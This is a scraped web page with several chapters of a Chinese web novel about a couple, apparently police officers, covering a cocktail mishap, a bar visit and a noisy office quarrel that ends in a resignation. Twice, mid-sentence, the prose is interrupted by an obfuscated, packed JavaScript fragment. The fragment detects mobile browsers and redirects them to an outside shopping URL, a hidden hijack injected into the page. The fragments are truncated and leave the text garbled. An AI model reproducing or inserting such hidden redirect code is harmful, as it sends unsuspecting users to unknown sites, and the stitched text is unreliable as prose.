人生中第二个生日礼物——似乎为了掩饰什么,他坐在沙发上,抬手,捂住了眼—— “锵锵!看妈妈给你买了什么!” 清绝亮出藏在身后的莲花大抱枕,举起来摇了摇:“好看吗,喜欢吗,这是妈妈送你的生日礼物,祝我家莲宝日子如花花每天笑哈哈!” 渡莲抱膝坐在公园亭子里,高冷地戴着一顶幼儿园鹅黄小圆帽:“为什么是莲花?” “这样渡莲以后上学不在家,妈妈就可以把它当成你,每天抱着它了。” “那这就是你的生日礼物了,我送给妈妈。” “啊——”清绝后知后觉,惊讶又懊恼,“糟糕,买错了,我怎么可以又有一个‘渡莲’呢……呜哇,早知道买那只大青蛙了!” “不要青蛙,”渡莲一副我什么都不感兴趣的样子,“我讨厌青蛙。” “为什么呀?青蛙是益虫,农民的好帮手,会吃你讨厌的蚊子,而且青蛙经常蹲在莲叶上,和莲花好配的呢。” “是吗,”渡莲眨眨眼,“那我喜欢。” “哈哈哈,我家宝贝好善变呀,”清绝笑着戳了戳他粉嫩的小鼻子,“长大了会不会是个渣男呢?” “渣男是什么?” “嗯,渣男就是……欺骗女孩子的感情,不负责任,自私花心……” “那爸爸就是渣男。” 清绝没想到给自己挖了一个大坑:“渡莲,怎么可以这样说爸爸,爸爸不是渣男啊。” “可他对你不负责,你受伤了,他没来保护你。” “……” 见妈妈不说话了,渡莲扑落睫毛,嗫嚅:“妈妈,我想回家了,我们今天又不能回家吗?” 清绝努力维持笑容,眉毛已经垂下来了。 “宝贝,你是男孩子,男孩子要勇敢,今天妈妈陪你夜探小公园,你班级里的小男孩不都爱玩这个游戏吗?” “我不想玩,我要回家,你还要吃药。” “啊,那些药……医生说今天不吃也可以呀,我没事的,我强劲着呢!” “我要回家。” “家里……家里漏水了,妈妈待会儿带你去住酒店好不好?” “是他们又要赶我们走吗?” “……” 渡莲抓皱了校服,漂亮的大眼睛毫无生气。 他今天又被欺负了,他以为自己生日这天会得到人们的祝福,一早就兴冲冲跑到老师跟前说今天是我生日,可课堂上老师说他的眼睛不好看,问同学们是不是很怪异很可怕,大家都指着他齐声说好可怕。 那种感觉像失重,他快哭了,只能把头埋进臂弯里。 可耳朵里声音还在。 “妈妈,我不喜欢过生日,我不喜欢有家不能回,”他委屈地拉下帽子挡住自己的表情,“我以后再也不要过生日了。” “但是,也是在这天,妈妈生下了你,没有你,妈妈也活不下去了……” 儿子的眼神让清绝揪心不已,她蹲在他面前,轻抚孩子的脸庞:“渡莲,你是我的一切,你能给妈妈活下去的希望吗,一点就好……” 他看到了母亲眼角未好的淤青。 那是两个小时前被邻居打的,血流了一地。 心脏又开始刺疼,母亲身上任何一个伤都能让他一整天不开心。 他低头说:“我能。” “对不起,对不起,让你的生活那么艰辛,幼儿园又发生不开心的事了?那明天我们不去上学了,等渡莲心情好一点我们再去,好吗?” “好。” “宝贝真乖。” 清绝亲了亲儿子,把东西收拾了,抱他起来,往公园外走,渡莲突然指着一处草丛新奇地喊:“妈妈快看!星星落在草地里啦!” 清绝顺着他的手指望过去,两三点萤火的光辉映入她的瞳仁。 她带着泪笑了。 他也是。 “你干嘛?”邓烟雨凑近瞅了瞅,说,“不是吧,你不会要哭了吧?” 公冶偏过头,不让邓烟雨看自己的脸:“傻瓜,我才没有。” “你就是要哭了——”邓烟雨使坏捏他脸蛋,“阿冶阿冶你好感性哟,一个礼物啦有那么感动吗?” “我……好久没过生日了,”公冶难为情地摸脖子,“情绪有点失控。” “那我以后年年给你过,”邓烟雨说,“礼物喜欢吗?” “喜欢,”公冶说,“我以后上班要天天打领带。” 邓烟雨抱着他开心地笑,买来的鱼还在水槽里游着,等待被炖。他们在厨房忙活半天,将近九点才吃上晚饭。 一条鱼一碟青菜,煮了粥,两人比八十岁老头老奶还养生,邓烟雨跟他汇报他的牛油果又长高了,等蹿到天花板那么高就可以送它去打篮球了。 蛋宝出了三趟国,最后一站是新疆,酸奶烤馕大包小包捎了一车回来,还带了一嘴的羊肉串口音,把邓烟雨逗得眼泪都笑出。 “大约七点的时候突然说话了,在房间里问着主人在吗主人在吗,要给你点呼噜米线,你不在,它就问女王在吗女王在吗?” “女王是谁?” “我呀,”邓烟雨骄傲叉腰,“还好我在,不然它又要哭唧唧了。” 公冶往她脸颊抹泡沫:“还是你有办法。” 邓烟雨也抹他一脸,顺便递他一盘子,流水线操作般挤上洗洁精:“你最近身体还好吗?” “嗯?怎么突然问这个?” “嗯……也没啥,日常关心,”她用屁股撞了撞他,“等会儿陪我做做饭后运动。” “太早了。” “colorwolf,你以为是什么?”邓烟雨踢他一脚,“正经的。” 公冶一本正经地拒绝:“我不要跟你跳操。” “不跳不跳啦,”邓烟雨转身捧出一筐调酒工具,“我们来调酒吧。” 琳琅满目的洋酒整整齐齐摆在柜子里,是他特意收好的。公冶把洗好的盘子插进收纳架,擦了擦手:“厉害,这都能给你挖出来。” “找碗筷时发现的,你不是说你会调酒吗,教教我呗,我想学,我都教你烧鱼了,”邓烟雨敲了敲朗姆酒,“让姐品味一下你们上层人士的格调,什么血腥玛丽,自由古巴,到时候我去酒吧也可以装装样子。” 他依着她,绅士地一笑:“想喝什么酒?” 邓烟雨乐开花了,指向对面:“你去坐着,我们来玩个游戏,你扮演帅气多金的客人,我是专业调酒师。” “真爱玩啊……”公冶嘴上这么说,身体倒很诚实,按照她的指示坐到岛台对面,但自顾自喝着水,完全没有入戏的意思,邓烟雨说:“你平常去酒吧怎么玩的,现在就怎么对我,你一般喝什么?” “边车,要用到白兰地,橙味力娇酒,”公冶伸手一拨,“这两瓶,橙酒我通常就喝君度。” 邓烟雨举起君度:“哇,君度的瓶子好好看……” 公冶细心讲解了一番,因为是sour类的酒,他着重提了2:1:1的比例,邓烟雨让他说人话,他没办法了,写在纸上给她,她扫一眼就说懂了。 但愿她看进去了,公冶忧心忡忡,毕竟“试毒”的是他。 邓烟雨研究了会儿,临时变卦:“其实我想做血腥玛丽。” “建议不要,”公冶婉言相劝,“这酒挺难把控,对初学者不太友好,边车调得好就像一杯橙汁,你会喜欢的。” “好!” “Shake的时候幅度大点,柠檬汁少加,否则太酸会非常难喝。” “放心交给我吧!” 她信心十足地拍胸脯,这让公冶更加不放心了,惜命地又补充一句:“再加5ml鲜橙汁吧,口感会更好。” “行行行,”邓烟雨不觉技痒,布置好一切,那架势和白雪公主后母准备炼制毒苹果一样,“那开始吧。” “你来开头。” 于是邓烟雨仪式感满满地清了清嗓子,酝酿好情绪,媚眼一抛,邪魅勾唇:“嗨~小帅哥~要什么酒随便点~大姐姐给你调哟~” “咳……!” 刚喝下的水卡在了嗓子眼。 设想了无数种稀奇古怪的开头,万万没想到,是最风骚的一种。他演不下去笑场了,邓烟雨抓狂:“臭阿冶你笑什么!我很认真的好不好!” “我去的正经酒吧,你真不用调戏我,直接问我要喝什么就行。” “好吧,”邓烟雨重新调整状态,露出温柔得体的微笑,“先生晚上好,请问要喝什么?” “边车,谢谢。” 邓烟雨对他眨眼:“说洋文,洋气点。” “……SideCar,谢谢。” “必要时给我点欢呼声。” “……行。” 邓烟雨取酒,开酒,甩了甩吧勺虽然这勺也用不到,动作干练迅疾,引来对面小迷弟哇声一片,她还对他竖食指:“我知道我很帅,但希望客人您欣赏时稍微安静一点。” 公冶:“……”她说啥就是啥吧。 邓烟雨有模有样依次往雪克壶里倒入君度,柠檬汁,白兰地,公冶看下来觉得她手法挺像那么回事的,但手法之后的质量着实令人堪忧:“邓师傅,柠檬汁只要25ml,白兰地才是50ml……” “NONO,”邓烟雨冲他摇摇指头,“这位先生,我是专业的,请您相信我的技术。” 他忍笑忍得肚子疼:“对不起,您继续。” 加入冰块,邓烟雨迎来了她最爱的shake环节,啪地盖上雪克壶的大钢盖子双手举起准备愉快地摇晃,才shake了一下,她就听到哗一声,酒液从壶口喷射而出,泼了公冶一脸。 “哦买噶!”她大惊,“我忘记那个小盖子了,抱歉抱歉!” 电视剧里的桥段映照到了现实中。他抽了两张纸,擦掉满脸的酒:“谢谢专业调酒师的酒,我喝到了。” “还没完呢,”邓烟雨活像跳大神的巫婆在作法,花式甩动好几下,取出冰镇过的酒杯,哐哐倒出淡橙色美酒,推至客人面前,“慢用。” 公冶像根木头不动。 邓酒保用笑眯眯的眼神威胁他:“快喝呀。” 公冶喝了。 半小时后,他进厕所了。 晚上十一点,邓烟雨靠在床头涂着护手霜,还在纠结那杯酒:“啧……怎么会呢……我都按照你给我的比例调的……” “我都拉肚子了!你说你柠檬汁是不是放了50毫升!”公冶伤痕累累躺在一边裹着被子,冤屈地控诉。 “少冤枉我!我放的明明是25毫升!” “就是50毫升!” “你能喝50毫升的白兰地,就不能喝50毫升的柠檬汁吗!” 谁家边车用柠檬汁当基酒啊!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579346|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他死也要死个明白,坐起来问她:“你最后5毫升的橙汁是不是也放错了?” 邓烟雨被他求真的眼神打动了,她的良心在颤动:“哦……我好像是放成柠檬汁了……” 也就是说,她放了55毫升的柠檬汁。 这是潘金莲的药啊。 破案了,公冶生无可恋,眼里没有一点光了:“我本来很喜欢边车的……” “我错了阿冶,你不要难过,我明天重来,我一定给你放橙汁儿。” 还来?! 公冶哭笑不得:“我犯了什么错你要这样?你直接杀了我吧。” “不不不,我发誓我不会放错了,要是再错,我也喝,我陪你一起拉肚子!” “……” 于是次日看完电影,他直接开车带她去了夜丘。 一路景色变幻,富人区的精致感扑面而来,邓烟雨像刚进城的土拨鼠把脑袋探出车窗:“先说一声,这地儿的东西我可消费不起。” “放心,我买单,”公冶开了车窗搭手臂,“带你去喝真正的美酒。” 小酒吧位于夜丘番道,要穿过片竹林庭院才能找到,牌子上“福满”两个字有种喝饱了的感觉。 邓烟雨没能得偿所愿点到钟情已久的血腥玛丽,因为她亲眼看见旁边的姐姐在喝,插了两根芹菜,洒了黑胡椒,光凭这两样东西就让她知难而退了。 “真不试了?” “嗯,你帮我点,我相信你的品味,”邓烟雨乖巧如三好学生,“不许欺负我点特别烈的。” 他轻轻一笑,和看热闹不嫌事大的老板娘说:“大都会。” 大都会是杯当代酒,虽没有悠久的历史,但梦幻的色泽弥补了一切,尤其在灯光加持下,好像雪克壶里滤出的不是酒,而是一座欲望之都。 看到老板娘拿出蔓越莓汁,邓烟雨就想起昨天的蔓越莓干——那颗被他偷走的蔓越莓。 昏暗环境里,男人深邃的眉眼增添了一抹欲色。 啊,他故意点这杯的。 坏死了。 老板娘特意调整了伏特加和果汁的比例,邓烟雨喝着酸甜爽口,一杯酒单上偏冷门的鸡尾酒在她心中开出了花,她彻底爱上大都会。 “以后想喝自己来,老板娘人很好。” 老板娘桑珞可不受他的奉承,兴师问罪地说:“影青,交了女朋友也不记得带来给我看一下。” “这不带来了。” 桑珞点了点他,对邓烟雨笑:“我家不用预约不用排队不是会员制,失恋了我亲自三陪,放心来玩啊!” 猜到她要来这么一套,公冶放弃挣扎了。 “对了,我好久没见粒粒了,她最近还好吗?” 公冶:“我也好久没见了。” 邓烟雨用眼神问他粒粒是谁,被桑珞识出了,说:“尚晴秋老婆,”邓烟雨还是一脸懵,桑珞解释,“就是暮火,暮火的老婆。影青你们呐,能不能自我介绍的时候好歹和朋友说真名啊,全是代号我也搞不灵清啊。” “那我好幸运,先知道了你的名字再是代号。” “真的呀?他先告诉你名字呀?”桑珞热情似火,“哎哟难怪呢难怪呢,影青你小子,真有一套!” “哈哈……” 公冶和邓烟雨陪了两声笑,他们都不太好意思说丢警察证那事。 “粒粒也真是的,团队的研究有那么忙吗,我去年都没怎么见着她,上回还说备孕呢,不来玩了,后来在医院遇着,人瘦了好大一圈,我问她咋样,她说晴秋工作忙……” 同房跟例行公事一样,怀不上压力就大了,压力一大就更怀不上——这话桑珞没说,懂得都懂。 桑珞,朱粒,尚晴秋三人是高中同学,关系硬比铁三角,公冶听归听,也不好偏帮谁:“尚晴秋比我忙,粒粒姐太体谅他了……” “什么体谅,你们男人总这样,你以为是粒粒真的想生?依我看是晴秋想要了吧,反正他就努力几分钟,吃苦受累的还是我们女人。” 在喝血腥玛丽的那位姐聆听桑氏名言后醍醐灌顶,连帅气酒保也不看了,过来和桑珞交朋友。 邓烟雨作为一朵单纯小白花没有插嘴发表见解,她喝着酒低头思考,难道再过个十年她也会为了生不生小孩而把自己困住么? 她偷偷瞥了眼自己的男人,难以想象他十年后会是什么模样。 会更成熟吧。 更有魅力。 肌肉更大……嘿嘿…… “笑什么?” 公冶不明白她在偷乐什么,桑珞明白人,逗趣说:“怎么,脑子里已经在放婚礼进行曲了?” 邓烟雨连忙否认:“没没,我没想那么多。” 血腥姐和帅酒保起哄:“噢——没想那么多,那就代表确实想了?” 桑珞指货品一样指着公冶:“他基因好,你要愿意就去父留子,公冶这个复姓也不多见,到时候再给娃取个好听的名字……” 公冶没点酒,但人真快醉了:“今天怎么就逮着我祸害。” “这不好久没见了,想你。” 这里的客人和公冶熟络,打趣调笑成一片。他们玩了一个小时就撤了,回去路上,邓烟雨真就在想孩子的名字。 “我前段时间学到一个成语,叫瑰意琦行,指杰出的思想和超然的品行,你说孩子叫公冶瑰意好不好?” 他就知道。 小雨的脑袋里装着大世界,成天天马行空,被带跑偏的几率太高了,他也不吃惊,顺着说:“所以连生的孩子必须是女孩都决定好了?” “你努努力呗,”邓烟雨甩着他的车钥匙,“蔡蔡和我说,她那边生女儿的亲戚都是胖胖壮壮的,可你身材……唔,我觉得会是个儿子……” 公冶沉下心来说:“小雨,怀孕是件非常辛苦的事。” “是啊,我知道。” “如果你不想生,我们就不生。” 邓烟雨说不出话了,怔怔盯着他看。 公冶注意到了:“脸红干嘛,话题是你提起的,我在认真回答你。” 转向灯的声音响起,邓烟雨拽了拽他衣服,真诚地说:“可我很想要一个叫公冶瑰意的女儿。” 94. 邓纳税 “我们可以领养。” 她眼睛里有星星在闪耀:“那你也喜欢这个名字?” “喜欢,很好听。有条件的话再领养一个男孩,跟你姓。” “喔,这么容易就儿女双全啊,”邓烟雨笑逐颜开,“孩子谁带?” “我带,我超会带小孩,孤儿院的孩子都是我带的。” “那我太幸福了。” “你以后专心耕田,我呢就在家里织织布了,每天四菜一汤伺候你。” “四碗清汤面加一碗煮剩的面汤?” 被嘲笑的他叹了一声,也没气馁,说:“我会努力学做饭的!” “不用不用,你每天自制一杯鸡尾酒给我喝就好了,”邓烟雨替他规划好被包养的流程,“到时候再养一条狗一只猫,儿女猫狗都双全。” “对了,”公冶说,“你的三花还养在朗院长那。” “名字想好没?” “想好了,叫纳税。” 隔日,极乐听到这个名字,人都傻了:“纳税?怎么不叫依法呢?” “他说看到有明星偷税漏税就突发奇想起了这么个名字,”店员把岐山臊子面端上来,邓烟雨说了声谢谢,动起筷来,“既然养在警局那就取个遵纪守法的名字,挺好的。” 极乐宠溺一笑:“行,就叫纳税,邓纳税,还怪好听的。” “是吧。”邓烟雨笑吟吟地说。 两个吃腻食堂的人午休上中华街搓了一顿,一点前极乐回到单位,在走廊碰到组长他们,熊队和公冶并排走在交流,后面跟了个脸生的警察。 应该是隔壁市局的人。极乐甩着工牌多瞄了一眼,当场就被他控住了。 如果要给特发科全体同事的颜值排个榜,她家组长必是榜首,然而从这名小警察出现的这一刻起,极乐万年不动的排行榜崩塌了。 他不算英俊,但他太明亮了,圆圆的脸在柔柔地发光,仿佛“国泰民安”四个大字正朝极乐正步走来。 “我先出去了。”公冶关上指挥官办公室的门,朝特发科走去,极乐扒在门框上像条壁虎一动不动。 “嘿,”她姿势不雅,公冶带了点命令的语气问,“干嘛呢?” 极乐犯花痴中。 “极乐?” 公冶举起文件在她面前挥了挥,然后顺着她痴迷的目光痴迷的笑,望向空无一人的走廊。 连个鬼都没看到。 “极乐。” “极乐。” “……” “亓官友知。” “在!” 一颗零度的地雷在耳畔炸响,极乐如梦初醒,擦了擦嘴角口水,和公冶毫无暖意的审判之眼对视三秒,春光灿烂笑起来:“组长你事办完啦……” 公冶也露出灿烂的假笑:“和小雨去吃了什么呀?” “吃……吃了……”极乐难得能被他问怂,磕巴着,“吃了面……我我我发个呆我没干嘛。” 公冶迟疑地走进办公室:“你不会是……” “嘘先别说!”极乐一副把憧憬多年的偶像追到手的害羞表情,谄媚小喽啰似的跟在公冶屁股后头巴结,“刑侦支队的?” “督察大队的。” “督察的?他来干嘛?调查我们?组长,老大,大圣人求求你,告诉我他的联系方式吧,他长得好好看啊我不行了啊啊啊……” “我也不知道,你自己去问。” “我当面问他?那不暴露了嘛,”极乐学小狗恳求,“你帮我问呗。” “我有什么理由问他电话号码?” “公事。” “你和他也是同事,也能以公事为由去找他,不要再让我当中传信了,上回帮你问了一个,结果没几天就甩了人家。” “那个太妈宝了。” 他回到位子坐下:“你真心的?” “没,单纯馋身子。” “那还管人家妈不妈宝。” 实在话,极乐反驳不了。 见他不肯帮忙,极乐像是下定了某种决心,拖着椅子滑过去:“组长,不瞒你说,我已经半年零三个月二十四天没做|爱了,这样下去我会死的。” 公冶:“……” 旁边午休的刺舟放浅呼吸,不敢弄出动静,毒株在后面沙发睡觉,听到这话一把扯下蒙在脸上的卷宗,气势凌人开了口:“极乐,品味提高点吧,要男人我们都能满足你,那只小羊羔一身囊肉哪受得了你花样百出地折腾,喂刺舟,别装睡了,起来,起来给她看。” “给我看?给我看什么?我都知道你们啥样,才不要看,我就算要看也只看小羊羔的,囊肉怎么了,他们坐办公室缺乏锻炼很正常,肉多我更喜欢。” 刺舟抠紧桌子,誓死不起。 毒株一脸瞧不上地轻笑了声,两腿一迈过来跟前一坐,指着刺舟:“他也是处男,你不喜欢?” “啊啊啊啊——”刺舟终于抬起头崩溃央求,“你们又要发什么神经啦放过我吧!!” 另一边的公冶也没法专心工作,头疼地揉眉心。 极乐端详毒株,捏紧了拳头,淡淡笑了:“认识这么久,你居然以为我是这种人?” “你没有处男情节吗,我看你专挑嫩的下手吧,”毒株大马金刀坐着,也把心里话说开了,“不就缺个泄欲工具么,当我蠢看不出你心思?女人能坏到你这种程度我也是见识到了。” “我说我坏?!我?!坏?!” 战火铛一声拉响,公冶后悔没有早点制止:“你们……” “关!你!屁!事!”极乐开机关枪一样把公冶的蚊子音灭掉了,“我专挑嫩的怎么了,我坏女人我怎么了?!我喜欢跟谁睡就跟谁睡,我不仅坏我还私生活混乱无底线!你说我干嘛?你同性恋啊?我把你男人抢了啊?!” “喂!我是说你坏,但我又没说你人品差!” “嗨哟???所以你的意思是我是个人品好的坏女人喽?!” “对啊!” 公冶震惊加愤怒,呵斥道:“都安……” “行!行行!我先当你夸我了!这事我不跟你计较!但是!你听好了!我也是有道德底线的!我不要处,我就要那个督察队的,你也别白费劲了,你这长相就骗骗小姑娘,根本没长在我审美点上!” “清醒点!谁让你跟我睡了,我让你跟大家睡!” “跟?大?家?”极乐夸张地双手一摊表示不解,“谁?响尾吗?我睡过啊我睡过,我金刀都睡过!这下你满意了吧!” 响尾和金刀虎躯一震,金刀瞬间去看蝶衣,蝶衣眼神幽幽茫茫。 “我没有蝶……” “毒株——!”那头两个活宝已吵得不可开交,极乐发出狮吼,“我再饥渴也要一个一个来的好吗!你当我是体力狂魔吗!” “傻瓜!我让你在这堆里挑,没让你一堆全上,一对众你这是要嫖吗!” 所有人呆若木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579347|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡,唯独极乐在那恶狠狠嘲讽:“哈哈笑死!这时候你倒是知道我们国家有法律了?上周那女孩怎么回事,人家从九保追过来呢,总部大门口守了你多少天,哭着求你跟她走,要不是我装你女朋友这事能摆平吗!” “我求你装我女朋友了吗?!” “没有!但你说这事是不是我帮你摆平的?!她孕检单都拿出来了!你他妈在九保干的好事!说我有处男情节,我看是你有处女情结吧!” 毒株炸了:“我他妈跟她没有!那不是我的!” “骗骗骗!骗谁呢!我本来看你长得人模人样挺仗义的要是小雨喜欢你和你处对象也不错,哈我真是瞎了眼了,以后不准你再碰我喜欢的人!” “她跟组长耍朋友,她什么时候成你的了?!” “她不是我的,也不是你的!她是联合国的都不会是你的!她和组长结婚离婚再复婚再离婚她丧偶了也不!会!是!你!的!” 公冶渡莲血压要爆了。 “急什么急什么,我看是你醋坛翻了吧,你有种去抢啊,以为提起小不点就能激怒我?你先管管你自己的下半身吧!上次一对三那事当我不知道?!” “我去!你——你——”极乐气得击桌鸣冤,“狗东西!我没有!我没有一对三!是他们缠着我!” “放狗屁!酒店都开了!” 极乐冲上去要揍他,公冶赶紧把这两只斗鸡分开:“不要打!”但他们早已吵得脸红脖子粗。 “那都是俱乐部的熟人!所以我没设防啊!是他们往我饮料里下药!我不是给你打电话了吗,你带我走的啊啊啊啊!” “你在酒店待两个小时才给我打电话?那两个小时你们在干嘛?聊天?纯聊天?狗都不信!” 极乐有苦说不出,一气之下砸飞一只菜狗公仔:“我没有!!你冤枉我你冤枉我!!”她急得眼泪掉下来,骂不过,找家长告状了,“组长——!” 公冶桌上的文件盒轰然倒塌。 “组长……组长呜呜呜!”极乐抓着公冶的袖子,声线抖如弦,“毒株他毁我清誉,他欺负我!你快点去骂死他!把他骂回草履虫呜呜呜呃——” 极乐是真受委屈了,眼泪哗哗哗,擦也擦不干,公冶扶她去坐着:“好了好了不要吵了,是他不对,我让他给你道歉。” 毒株那边有刺舟按着劝,没再发作了,女同事纷纷围过来安慰人,极乐抽着纸巾哭喘好一阵,冷静后对公冶说:“我发誓我没干过违法乱纪的事,我都是和平分手没收一分钱没受一份礼……” “我知道你没有,我相信你,先不哭了,熊队中午在,让他听见不好。” “我知道,我知道……呜呜呜……” “督察队那人的电话我今天下班前帮你问到,不要再哭了。” 极乐拼命点点头,乖乖把哭声降低了。 大家长出一口气,也紧了几分神,偷偷瞄向撑着膝盖也在喘的毒株。 极乐的字典里只有任性两个字,怎么舒服怎么来,吵架从没输过,毒株居然能治得住她,还把她气哭了。 “有点牛逼,你别骂他,这小子有点东西,”响尾把公冶拉到一边,“以后有人能帮你治极乐了。” 都不是省心的,最该哭的是他好不好。 极乐和毒株的工位并排,俩人呼哧带喘坐在一块,谁也不搭理谁,忽地留意到身后有人,回头一看,是斗香,而斗香后面…… 还站着简繁。 95. 饭局 斗香是在电梯里遇到的简繁,两人交谈着从后门进来,当时极乐和毒株已经在唇枪舌战,浑然没有旁人插话的余地。 简繁没什么情绪的目光轻悠悠落在极乐身上,平淡到令人心慌。 极乐脑袋一片空白。 在她印象中,简繁从来没有这么长时间地凝视过她。 “中午不休息,吵什么?”简繁扫了毒株一眼,毒株抬头,正好对上简繁那双仿佛要算账却微微含笑的清冷狐狸眼。 他定回极乐这边:“影青组长对你们太好了啊,需不需要我再敲个锣?” 公冶起身:“简局。” 简繁打断:“你但凡有暮火一半的严厉,这事我都算你无过。” 暮火在吵翻天的情况下都能专心忙手头工作,听到二把手发难了,才面带疑虑看向事发现场。公冶说:“抱歉领导,不会再有下次。” “下次你还这么说。” 公冶看着简繁,倒是平静。 感觉得出来,简繁心情十分不好,可公冶不明白,一点幼儿园芝麻小事,他怎么能气成这样。 “此事我全责,简局您有意见尽管和我说。” 极乐和毒株同时心喊完蛋。 骂他们行,事情扯到组长头上,他们要一辈子良心不安。 何况组长又是个大包大揽的人。 简魔头更是个言出必行的人。 极乐果断上前,像个大姐大将公冶护去身后,公冶愣了,简繁也愣了。她身上独特的香气撞进他的呼吸里,简繁的怒容略有松动。 她审视简繁,下一秒竟笑了:“简局不好意思,我们刚在开玩笑。” “我没问你。” “是,我知道,对不起,请务必让我解释,是我和毒株意见产生分歧导致情绪激动所以争论的声音响了些,一切和组长无关。” “他没管住你们,就是他失职。” “一点点小事啦,哪就谈得上失不失职,简局您今天心情不好啊?” 说完,极乐发现简繁的脸色愈发得差。 “你要跟我争辩?” 台阶也递了,笑脸也摆了,他不领情,极乐便不再示弱:“我不争辩,我说实话,您来您也管不住我们。” “他有问题,你问题更大,讲话注意点,我责问谁轮不着你插手。” “按您的意思,我有问题,我太吵,归结于组长失职有错,那再往上翻,您没培养出称职的部下管我们,是不是您也有错,也算失职?” “……” 暮火站了起来。 事态已经严重到暮火必须站起来,大家纷纷装出一副好忙的样子,实则紧张得腋下冒汗。 “极乐,”公冶轻声示意,“回去。” 暮火走过来,冷冷盯着极乐:“回位子上去。” “您要算账就找我算,”极乐谁都不听,只看简繁一人,一贯顺从讨好的眼神彻底暗下去,“我跟您道歉,您跟影青组长道歉。” 暮火拳头攥得咯咯响,斗香捂嘴,一脸“你疯了”的表情质问极乐。 “我也能道歉,”毒株说,“您刁难老实人没意思。” “别拱火了……!”刺舟差点拧掉毒株腰上一块肉。 简繁往前迈一步,和极乐近得呼吸都碰上,他怒视极乐:“爱出头是吗,你再说一句,我就降影青的职。” 公冶:“……” 极乐也朝他迈近一步,不服地抬起下巴:“你降我的啊。” “你还有什么可降?” 极乐一把撕下“二级特发警”的臂章,递给简繁。 简繁气得脸都白了:“影青,去办手续。” 极乐咬牙:“你敢。” 简繁命令公冶:“从今以后特发科你别待了。” 作为清醒的旁观者,公冶一字未发,夹在他们中间默默接受现实。 “我会告知熊小滚,”简繁和极乐双双盛怒地瞪视对方,“之后我将对你另行分配,收拾东西,走。” 公冶伸手要摘自己的臂章,被暮火用力按住:“别,”他面向简繁心急如焚地解和,“简局,您……” “你妈的。” 一声粗口在死寂的办公室静静爆开。 不是毒株,不是任何人,是极乐狠瞪着简繁,口齿清晰骂出了这一声。 简繁对此不可置信,暴起的怒音都在发抖:“你再说一遍!” 衣袖挥动的一刹,一样东西不慎脱手,滚到了地上,众人侧目去看,是最新款精灵蛋的盒子。 极乐一直想买颗精灵蛋,奈何太贵不忍下手,简繁趁午休时间带着蛋来这里的意图再明显不过。 “再说一遍也是一样!”极乐的目光始终钉着,没去看那东西,“骂你就骂你了,你以为我喜欢在你手底下干活?我不干了!” 午后明亮的办公室瞬间罩下一层乌云暴雨,斗香哭了,她不要极乐走,说要找简繁问清楚,其他组女生扬言陪她一起,被暮火厉声叱了回去。 暮火急得把公冶按到位子上:“你别动,什么也别管,简局的话别当真,我去说。” “简局和极乐都在气头上,等他们冷静了再说。” 暮火叹气:“极乐是其次,你就打算这么走了?” 公冶默然。 他早已没有争取的想法,是走是留更没什么好说的。 傍晚时分,熊小滚喜气洋洋地出现在特发科,叩了叩门框:“跟大家汇报个事啊,本周六在晴空小镇会举办一场联谊活动,全市公安机关的单身帅哥美女都参加,你们也被号召了,想去的赶紧跟我报名哈。” 火箭浣熊貌似什么都不知道,暮火没递消息,应该是简繁给扣下了。 暮火还没回来。 简繁这次动真格的。 大家没一个起哄,甚至没一个开口,熊小滚这方面神经大条没在意,瞧见极乐在工位上,笑着款过来:“极乐,你最喜欢的活动来了,要不要去?你不说我当你默认了,名单上算你……” “不去谢谢熊队,这个给您,”极乐把书面辞呈交到熊小滚手上,当着他面关电脑,起身,拿包,“组长,到点了,我先回家了。” 空气凝固,只有极乐收拾东西跨步离开的声音,再安静下去就太尴尬了,公冶朝她背影喊了声:“路上注意安全。” “好的。” 直至极乐消失,熊小滚都像只呆呆熊。他爆发了:“不是,怎么回事?这是什么?啊?辞职?啊???” 太突然,太莫名其妙了,极乐给他手上放一包盐他都能接受,为什么是辞职信? “什么情况?谁来给我解释一下?她好好的辞职干嘛?中奖了?” 熊小滚急得哨子音快出来了,斗香和蝶衣忙不迭上前,一边一个搀扶着把人哄走了。公冶太阳穴突突跳,下了班也不走。他四点前要到了电话,给极乐,极乐没收,清心寡欲地坐在那啪啪打字,像尊六根断净的活佛。 落日西沉,暮火找到公冶,和他一起下班。 “放心,都处理好了,你没有任何调动。”暮火一下午没好脸色,极乐辞职是拦不住了,但影青的去留他还有权利左右一下。 好在简繁看在熊小滚和暮火快气出脑梗的份上,松了口。 “简局还是头一次说气话,所幸这事没发酵,不过简局亲口跟熊队要了极乐的辞呈,后续会麻烦了,她确定要走?” “……我会问问的。” “你别过多参与,但让极乐注意点,就算辞职也尚需一个月时间批准,在这上班一天就整理好情绪不要影响日常工作。” “我明白。” 电梯迟迟没来,暮火终于忍不住,啊的一声:“搞什么,之前金刀因为一只马蜂把窗户打碎了他都没说什么,极乐爱吵他也不是不知道,这次干嘛发那么大火。” 公冶拍他肩:“别烦了,极乐说话也不妥当,难怪简局要生气。” 暮火不以为然:“他借极乐在刻意针对你,我说实话,这边的干部没几个对你好心。” “他针对的是我吗?” 暮火被问住了,眼中透出天真的疑惑:“不然他在生谁的气?” “你果然……”公冶看着他,真诚发问,“你当初怎么追到朱粒姐的?” “好好的为何提起我和红豆,”电梯来了,他们走进去,暮火倒说了,“她超爱Olu,我带她去了迪士尼看花车巡游,怎么,你要抄作业?” 公冶眼睛亮了:“Olu是那只乌龟吗?” 